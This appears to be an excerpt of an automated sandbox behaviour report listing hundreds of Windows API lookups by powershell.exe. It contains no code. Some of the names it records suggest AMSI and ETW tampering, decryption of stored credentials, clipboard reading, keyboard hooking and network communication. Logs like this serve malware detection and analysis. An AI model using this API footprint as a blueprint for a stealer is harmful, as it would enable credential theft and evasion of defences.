"GetProcAddress" with a parameter GetDynamicTimeZoneInformation (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetFileMUIPath (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryEx (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryExW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter FreeLibrary (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter LoadStringW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CreateWellKnownSid (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipe (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipeW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariable (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariableW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter ConnectNamedPipe (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetEnabledXStateFeatures (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter sxsJitStartup (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter jitStartup (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter getJit (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStrings (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStringsW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetTimeZoneInformation (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKey (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyEx (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameEx (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameExW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetUserName (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter LookupAccountName (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter LookupAccountNameW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter EnumCalendarInfoExEx (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetCalendarInfoEx (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter EnumTimeFormatsEx (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter ReleaseMutex (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSource (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSourceW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter DeregisterEventSource (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter ReportEvent (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter ReportEventW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetLogicalDrives (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetDriveType (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetDriveTypeW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformation (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformationW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPath (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPathW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTextAttribute (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTextAttributeW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter WriteConsole (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter WriteConsoleW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentDirectoryW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter SetEvent (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CoWaitForMultipleHandles (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguage (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguageW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter AmsiOpenSession (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter AmsiScanBuffer (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter MpManagerOpen (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter MpHandleClose (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter MpFreeMemory (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter MpScanStart (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter MpMemoryScanStart (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter MpScanResult (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter MpThreatOpen (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter MpThreatEnumerate (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter MpConfigOpen (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter MpConfigGetValue (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter MpConfigGetValueAlloc (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter MpConfigClose (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter MpFastMemoryScanOpen (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter MpFastMemoryScan (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter MpAmsiScan (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter MpAmsiNotify (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter MpAmsiCloseSession (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter MpConfigRegisterForNotifications (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter MpConfigUnregisterNotifications (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter MpClientUtilExportFunctions (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter MpManagerVersionQuery (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter IsWow64Process2 (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter RoGetParameterizedTypeInstanceIID (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFile (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFileW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter FindClose (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter FindNextFile (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter FindNextFileW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter QueryUnbiasedInterruptTime (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter AmsiCloseSession (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetACP (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter UnmapViewOfFile (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter SetFilePointer (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetOEMCP (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetOEMCPW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetLastError (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CoInternetCreateSecurityManager (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CreateActCtxW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter AddRefActCtx (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter ReleaseActCtx (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter ActivateActCtx (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter DeactivateActCtx (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentActCtx (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter QueryActCtxW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter DllGetClassObject (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter RegEnumValue (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter RegDeleteKeyEx (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter RegDeleteKeyExW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetModuleHandle (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetModuleHandleW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetProcAddress (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter WideCharToMultiByte (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CryptAcquireContext (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CryptAcquireContextW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CryptReleaseContext (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CryptGetProvParam (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CryptContextAddRef (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CryptImportKey (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CryptDuplicateKey (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CryptSetKeyParam (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CryptDecrypt (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CryptDestroyKey (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter WldpIsDynamicCodePolicyEnabled (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleWindow (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter ShowWindow (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter SetPriorityClass (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter SetPriorityClassW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter LoadLibrary (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryA (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter EtwEventWrite (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter VirtualProtect (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CreateMutex (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CreateMutexW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetComputerName (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetComputerNameW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CoGetObjectContext (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter ResetSecurity (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter SetSecurity (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter BlessIWbemServices (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter BlessIWbemServicesObject (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetPropertyHandle (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter WritePropertyValue (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter Clone (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter VerifyClientKey (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetQualifierSet (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter Get (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter Put (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter Delete (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetNames (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter BeginEnumeration (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter Next (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter EndEnumeration (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetPropertyQualifierSet (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetObjectText (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter SpawnDerivedClass (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter SpawnInstance (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CompareTo (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetPropertyOrigin (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter InheritsFrom (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetMethod (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter PutMethod (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter DeleteMethod (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter BeginMethodEnumeration (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter NextMethod (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter EndMethodEnumeration (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetMethodQualifierSet (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetMethodOrigin (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter QualifierSet_Get (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter QualifierSet_Put (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter QualifierSet_Delete (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter QualifierSet_GetNames (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter QualifierSet_BeginEnumeration (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter QualifierSet_Next (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter QualifierSet_EndEnumeration (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentApartmentType (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetDemultiplexedStub (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CreateInstanceEnumWmi (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CreateClassEnumWmi (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter ExecQueryWmi (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter ExecNotificationQueryWmi (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter PutInstanceWmi (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter PutClassWmi (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CloneEnumWbemClassObject (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter ConnectServerWmi (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetErrorInfo (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter Initialize (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter IIDFromString (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter SysStringLen (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter RtlZeroMemory (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter EnumSystemLocalesEx (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetDateFormatEx (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetTimeFormatEx (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter IsValidLocaleName (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentStrings (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentStringsW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter FreeEnvironmentStrings (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter FreeEnvironmentStringsW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CreateDirectory (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CreateDirectoryW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter SetFileAttributes (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter SetFileAttributesW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter SetCurrentDirectory (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter SetCurrentDirectoryW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CopyFile (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CopyFileW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter RegSetValueEx (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter RegSetValueExW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter SetFileTime (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter EnumerateTraceGuidsEx (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter InitializeLibrary (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeHost (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeHost_RetAddr (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter PerfCounterInitialize (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter ConvertStringSidToSidW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter IsValidSid (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter LookupAccountSidW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetLengthSid (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CopySid (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter InitializeSecurityDescriptor (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter SetSecurityDescriptorDacl (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CryptGenRandom (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter MgdGetIISVersionInformation (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter LsaClose (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter LsaFreeMemory (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter LsaOpenPolicy (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter LsaLookupSids (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetDirMonConfiguration (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter ZeroMemory (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter ZeroMemoryA (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CryptUnprotectData (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CryptUnprotectDataW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter BCryptOpenAlgorithmProvider (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter BCryptSetProperty (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter BCryptGetProperty (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter BCryptImportKey (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter BCryptDecrypt (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter BCryptDestroyKey (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter BCryptCloseAlgorithmProvider (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter memcmp (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetNetworkParams (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetAdaptersAddresses (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetPerAdapterInfo (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter WSAStartup (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter WSASocket (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter WSASocketW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter setsockopt (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter WSAEventSelect (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter ioctlsocket (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter closesocket (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter gethostname (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetAddrInfoW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter freeaddrinfo (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter QueryPerformanceFrequency (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter QueryPerformanceCounter (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter RasEnumConnections (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter RasEnumConnectionsW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter WSAIoctl (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter FormatMessage (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter FormatMessageW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter RasConnectionNotification (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter RasConnectionNotificationW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter RegOpenCurrentUser (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter RegNotifyChangeKeyValue (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter WinHttpOpen (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter WinHttpOpenW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter WinHttpCloseHandle (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter WinHttpCloseHandleW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter WinHttpSetTimeouts (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter WinHttpSetTimeoutsW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter WinHttpGetIEProxyConfigForCurrentUser (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter WinHttpGetProxyForUrl (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter WinHttpGetProxyForUrlW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter ResetEvent (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter bind (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter WSASend (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter WSARecv (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter shutdown (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter IdnToAscii (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter IdnToAsciiW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter SysAllocStringLen (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter SysAllocStringLenW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter SysFreeString (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter SystemFunction041 (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter SystemFunction041W (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter SystemFunction040 (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter SystemFunction040W (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphore (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreA (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter EnumerateSecurityPackagesW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter FreeContextBuffer (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter FreeCredentialsHandle (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter AcquireCredentialsHandleW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter DeleteSecurityContext (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter InitializeSecurityContextW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter QueryContextAttributesW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CertCloseStore (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateStore (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateStoreW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CertEnumCertificatesInStore (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CertEnumCertificatesInStoreW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateChain (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CertOpenStore (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CertOpenStoreW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CertAddCertificateLinkToStore (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CertAddCertificateLinkToStoreW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CertGetCertificateChain (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CertGetCertificateChainW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateChain (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateChainW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CertVerifyCertificateChainPolicy (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CertVerifyCertificateChainPolicyW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter SetLastError (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter EncryptMessage (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter DecryptMessage (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter send (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter recv (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter ReleaseSemaphore (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleOutputCP (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter IsClipboardFormatAvailable (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter OpenClipboard (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetClipboardData (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GlobalLock (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter lstrlenA (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GlobalUnlock (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CloseClipboard (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter SetWindowsHookEx (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter SetWindowsHookExW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentThread (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter DuplicateHandle (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentThreadId (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter RegisterWindowMessage (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter RegisterWindowMessageW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetSystemMetrics (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter ProcessIdToSessionId (UID: 00000000-00005280) 